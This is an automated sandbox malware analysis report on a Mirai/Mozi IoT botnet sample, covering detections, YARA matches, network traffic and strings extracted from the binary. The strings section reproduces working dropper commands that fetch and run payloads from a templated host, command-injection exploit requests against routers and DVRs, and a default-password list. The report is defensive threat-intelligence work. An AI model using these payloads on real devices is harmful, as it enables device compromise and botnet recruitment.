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Linux Analysis Report
bin.sh.elf

Overview

General Information

Sample name:	bin.sh.elf
Analysis ID:	1643571
MD5:	944f2c5896832670ed2341c7c12e2c36
SHA1:	311a680784c8e1dea11267cd89c3ed6cb190c761
SHA256:	31c8e4e926d4c0cc69d10be8e63fcb1950b68d4bd78c0a4c50c96cee6d8e9893
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Sample is packed with UPX

ELF contains segments with high entropy indicating compressed/encrypted content

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains only a LOAD segment without any section mappings

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings indicative of password brute-forcing capabilities

Sample contains strings that are potentially command strings

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643571
Start date and time:	2025-03-20 00:26:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	bin.sh.elf
Detection:	MAL
Classification:	mal100.troj.evad.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/bin.sh.elf
PID:	6264
Exit Code:	133
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 5 (Trace/breakpoint trap) - core dumped

Process Tree

system is lnxubuntu20

bin.sh.elf (PID: 6264, Parent: 6187, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/bin.sh.elf

dash New Fork (PID: 6326, Parent: 4331)

rm (PID: 6326, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.71H0mcXTB8 /tmp/tmp.X7M0uFhHok /tmp/tmp.Ah1PQtjCYH

dash New Fork (PID: 6327, Parent: 4331)

rm (PID: 6327, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.71H0mcXTB8 /tmp/tmp.X7M0uFhHok /tmp/tmp.Ah1PQtjCYH

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
bin.sh.elf	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
bin.sh.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
bin.sh.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
bin.sh.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
bin.sh.elf	Linux_Packer_Patched_UPX_62e11c64	unknown	unknown	0x78:$a: 55 50 58 21 0A 58 0D 89 00 00 00 00 00 00 00 00 00 00 00 00
bin.sh.elf	Linux_Trojan_Mirai_5c62e6b2	unknown	unknown	0x3850e:$a: FF C1 83 F9 05 7F 14 48 63 C1 48 89 94 C4 00 01 00 00 FF C6 48
bin.sh.elf	Linux_Trojan_Mirai_77137320	unknown	unknown	0x384f5:$a: 54 24 01 89 C7 31 F6 31 C9 48 89 A4 24 00 01 00 00 EB 1D 80 7A
bin.sh.elf	Linux_Trojan_Mirai_ac253e4f	unknown	unknown	0x383b3:$a: 00 31 C9 EB 0A 6B C1 0A 0F BE D2 8D 4C 02 D0 8A 17 48 FF C7 8D
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6264.1.00007facac400000.00007facac421000.r-x.sdmp	Linux_Packer_Patched_UPX_62e11c64	unknown	unknown	0x78:$a: 55 50 58 21 0A 58 0D 89 00 00 00 00 00 00 00 00 00 00 00 00

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Spreading
• Networking
• System Summary
• Data Obfuscation
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: bin.sh.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: bin.sh.elf	Virustotal: Detection: 66%			Perma Link
Source: bin.sh.elf	ReversingLabs: Detection: 55%

Source: bin.sh.elf	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: bin.sh.elf	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh \|\|curl -O http://%s:%d/bin.sh \|\|/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh \|\|(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: bin.sh.elf	String: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:39256 -> 34.249.145.219:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: bin.sh.elf	String found in binary or memory: http://%s:%d/Mozi.a;chmod
Source: bin.sh.elf	String found in binary or memory: http://%s:%d/Mozi.a;sh$
Source: bin.sh.elf	String found in binary or memory: http://%s:%d/Mozi.m
Source: bin.sh.elf	String found in binary or memory: http://%s:%d/Mozi.m;
Source: bin.sh.elf	String found in binary or memory: http://%s:%d/Mozi.m;$
Source: bin.sh.elf	String found in binary or memory: http://%s:%d/Mozi.m;/tmp/Mozi.m
Source: bin.sh.elf	String found in binary or memory: http://%s:%d/bin.sh
Source: bin.sh.elf	String found in binary or memory: http://%s:%d/bin.sh;chmod
Source: bin.sh.elf	String found in binary or memory: http://127.0.0.1
Source: bin.sh.elf	String found in binary or memory: http://127.0.0.1sendcmd
Source: bin.sh.elf	String found in binary or memory: http://HTTP/1.1
Source: bin.sh.elf	String found in binary or memory: http://baidu.com/%s/%s/%d/%s/%s/%s/%s)
Source: bin.sh.elf	String found in binary or memory: http://ipinfo.io/ip
Source: bin.sh.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: bin.sh.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: bin.sh.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: bin.sh.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
Source: bin.sh.elf	String found in binary or memory: http://upx.sf.net

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39256 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5c62e6b2 Author: unknown
Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_77137320 Author: unknown
Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ac253e4f Author: unknown
Source: 6264.1.00007facac400000.00007facac421000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown

Source: LOAD without section mappings

Program segment: 0x400000

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: ..%s/%s/proc/haha/tmp/var/lib/dev/syscfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL "http://127.0.0.1"cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword "acsMozi"iptables -I INPUT -p tcp --destination-port 35000 -j DROPiptables -I INPUT -p tcp --destination-port 50023 -j DROPiptables -I OUTPUT -p tcp --source-port 50023 -j DROPiptables -I OUTPUT -p tcp --source-port 35000 -j DROPiptables -I INPUT -p tcp --destination-port 7547 -j DROPiptables -I OUTPUT -p tcp --source-port 7547 -j DROPiptables -I INPUT -p tcp --dport 35000 -j DROPiptables -I INPUT -p tcp --dport 50023 -j DROPiptables -I OUTPUT -p tcp --sport 50023 -j DROPiptables -I OUTPUT -p tcp --sport 35000 -j DROPiptables -I INPUT -p tcp --dport 7547 -j DROPiptables -I OUTPUT -p tcp --sport 7547 -j DROP/mnt/jffs2/Equip.sh%s%s%s%s#!/bin/sh/mnt/jffs2/wifi.sh/mnt/jffs2/WifiPerformance.shbusybox%255s %255s %255s %255s
Source: Initial sample	String containing 'busybox' found: /bin/busybox cat /bin/ls\|head -n 1
Source: Initial sample	String containing 'busybox' found: /bin/busybox hexdump -e '16/1 "%c"' -n 52 /bin/ls
Source: Initial sample	String containing 'busybox' found: /bin/busybox cat /bin/ls\|more
Source: Initial sample	String containing 'busybox' found: "\x%02xsage:/bin/busybox cat /bin/ls\|head -n 1
Source: Initial sample	String containing 'busybox' found: dd bs=52 count=1 if=/bin/ls \|\| cat /bin/ls \|\| while read i; do echo $i; done < /bin/ls \|\| while read i; do echo $i; done < /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox dd bs=52 count=1 if=/bin/ls \|\| /bin/busybox cat /bin/ls \|\| while read i; do printf $i; done < /bin/ls \|\| while read i; do printf $i; done < /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod 777 .i \|\| (cp /bin/ls .j && cat .i>.j &&rm .i && cp .j .i &&rm .j)
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne '%s' %s .i; %s && /bin/busybox echo -en '%s'
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo '%s' %s .i; %s && /bin/busybox echo '%s'
Source: Initial sample	String containing 'busybox' found: ./.i %d %d %d %d %d;./Runn;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh \|\|curl -O http://%s:%d/bin.sh \|\|/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh \|\|(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget;/bin/busybox echo -ne '%s'
Source: Initial sample	String containing 'busybox' found: ELF.r.c.x.k.p.s.6.m.l.4>>/bin/busybox chmod 777 .i \|\| (cp /bin/ls .j && cat .i>.j &&rm .i && cp .j .i &&rm .j)>.x/bin/busybox echo -ne '%s' %s .i; %s && /bin/busybox echo -en '%s'
Source: Initial sample	String containing 'busybox' found: me./.i %d %d %d %d %d;./Runn;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s:%d -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Source: Initial sample	String containing potential weak password found: admin
Source: Initial sample	String containing potential weak password found: default
Source: Initial sample	String containing potential weak password found: support
Source: Initial sample	String containing potential weak password found: service
Source: Initial sample	String containing potential weak password found: supervisor
Source: Initial sample	String containing potential weak password found: guest
Source: Initial sample	String containing potential weak password found: administrator
Source: Initial sample	String containing potential weak password found: 123456
Source: Initial sample	String containing potential weak password found: 54321
Source: Initial sample	String containing potential weak password found: password
Source: Initial sample	String containing potential weak password found: 12345
Source: Initial sample	String containing potential weak password found: admin1234

Source: Initial sample	Potential command found: GET /c HTTP/1.0
Source: Initial sample	Potential command found: GET %s HTTP/1.1
Source: Initial sample	Potential command found: GET /c
Source: Initial sample	Potential command found: GET /Mozi.6 HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.7 HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.c HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.m HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.x HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.a HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.s HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.r HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.b HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.4 HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.k HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.l HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.p HTTP/1.0
Source: Initial sample	Potential command found: GET /%s HTTP/1.1
Source: Initial sample	Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample	Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
Source: Initial sample	Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
Source: Initial sample	Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron

Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5c62e6b2 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 39501003c45c89d6a08f71fbf9c442bcc952afc5f1a1eb7b5af2d4b7633698a8, id = 5c62e6b2-9f6a-4c6d-b3fc-c6cbc8cf0b4b, last_modified = 2021-09-16
Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_77137320 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = afeedf7fb287320c70a2889f43bc36a3047528204e1de45c4ac07898187d136b, id = 77137320-6c7e-4bb8-81a4-bd422049c309, last_modified = 2021-09-16
Source: bin.sh.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ac253e4f reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = e2eee1f72b8c2dbf68e57b721c481a5cd85296e844059decc3548e7a6dc28fea, id = ac253e4f-b628-4dd0-91f1-f19099286992, last_modified = 2021-09-16
Source: 6264.1.00007facac400000.00007facac421000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28

Source: classification engine

Classification label: mal100.troj.evad.linELF@0/0@0/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $

Source: /usr/bin/dash (PID: 6326)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.71H0mcXTB8 /tmp/tmp.X7M0uFhHok /tmp/tmp.Ah1PQtjCYH			Jump to behavior
Source: /usr/bin/dash (PID: 6327)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.71H0mcXTB8 /tmp/tmp.X7M0uFhHok /tmp/tmp.Ah1PQtjCYH			Jump to behavior

Source: bin.sh.elf

Submission file: segment LOAD with 7.8142 entropy (max. 8.0)

Source: /tmp/bin.sh.elf (PID: 6264)

Queries kernel information via 'uname':

Jump to behavior

Source: bin.sh.elf, 6264.1.000055c806e1f000.000055c806ea6000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: bin.sh.elf, 6264.1.000055c806e1f000.000055c806ea6000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: bin.sh.elf, 6264.1.00007ffe0cda0000.00007ffe0cdc1000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: bin.sh.elf, 6264.1.00007ffe0cda0000.00007ffe0cdc1000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 5 (Trace/breakpoint trap) - core dumped
Source: bin.sh.elf, 6264.1.00007ffe0cda0000.00007ffe0cdc1000.rw-.sdmp	Binary or memory string: Kx86_64/usr/bin/qemu-mips/tmp/bin.sh.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/bin.sh.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match

File source: bin.sh.elf, type: SAMPLE

Remote Access Functionality

Yara detected Mirai

Source: Yara match

File source: bin.sh.elf, type: SAMPLE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Scripting	Path Interception	11 Obfuscated Files or Information	1 Brute Force	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
bin.sh.elf	67%	Virustotal		Browse
bin.sh.elf	56%	ReversingLabs	Linux.Trojan.Dakkatoni
bin.sh.elf	100%	Avira	EXP/ELF.Agent.L.24

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://%s:%d/bin.sh;chmod	bin.sh.elf	false	high
http://ipinfo.io/ip	bin.sh.elf	false	high
http://%s:%d/Mozi.a;chmod	bin.sh.elf	false	high
http://%s:%d/Mozi.m;/tmp/Mozi.m	bin.sh.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	bin.sh.elf	false	high
http://%s:%d/bin.sh	bin.sh.elf	false	high
http://purenetworks.com/HNAP1/	bin.sh.elf	false	high
http://%s:%d/Mozi.m;	bin.sh.elf	false	high
http://%s:%d/Mozi.m;$	bin.sh.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	bin.sh.elf	false	high
http://upx.sf.net	bin.sh.elf	false	high
http://HTTP/1.1	bin.sh.elf	false	high
http://%s:%d/Mozi.a;sh$	bin.sh.elf	false	high
http://127.0.0.1	bin.sh.elf	false	high
http://baidu.com/%s/%s/%d/%s/%s/%s/%s)	bin.sh.elf	false	high
http://schemas.xmlsoap.org/soap/envelope//	bin.sh.elf	false	high
http://%s:%d/Mozi.m	bin.sh.elf	false	high
http://127.0.0.1sendcmd	bin.sh.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.249.145.219	unknown	United States	16509	AMAZON-02US	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.249.145.219	sshd.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	miner.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	arm.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	hoho.arm5.elf	Get hash	malicious	Unknown	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.42	jkse.arm6.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	splarm6.elf	Get hash	malicious	Unknown	Browse
	zerppc.elf	Get hash	malicious	Unknown	Browse
	zerm68k.elf	Get hash	malicious	Unknown	Browse
	nabarm6.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	jkse.arm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	.i.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	sshd.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	jkse.arm6.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	splarm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	nklarm6.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
INIT7CH	jkse.arm6.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	sshd.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	splarm6.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
